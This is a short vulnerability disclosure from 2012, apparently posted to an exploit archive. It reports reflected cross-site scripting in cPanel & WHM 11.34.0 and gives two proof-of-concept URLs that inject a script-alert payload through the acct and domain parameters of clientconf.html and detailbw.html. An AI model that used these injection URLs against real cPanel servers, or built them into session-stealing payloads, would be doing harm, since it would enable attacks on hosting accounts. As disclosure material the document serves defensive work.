# cPanel & WHM Cross Site Scripting Vulnerability
# Date: 27 Dec 2012
# Author: Christy Philip Mathew
# Vendor or Software Link: http://cpanel.net/demo/
# Version: cPanel & WHM 11.34.0 (build 8)
# Category:: Remote

POC Video - http://www.youtube.com/watch?v=HJ64X2y8o0E


WHM

1. Basic cPanel ,WHM Setup - NameServer Entry - XSS -

[image: Inline image 1]



2. The clientconf.html and detailbw.html page in x3 for cPanel has been
found to be vulnerable to a Cross Site Scripting at the following URL:

[image: Inline image 2]

(a)
http://x3demob.cpx3demo.com:2095/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0

(b)
http://x3demob.cpx3demo.com:2082/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob





Regard's


*Christy Philip Mathew
*
*C|EH, C|HFI, E**|CSA**, L**|PT**  MCTS, MCITP SA/EA

*
* <https://www.facebook.com/christy.priory><https://twitter.com/#%21/christypriory><http://in.linkedin.com/in/christypriory>






*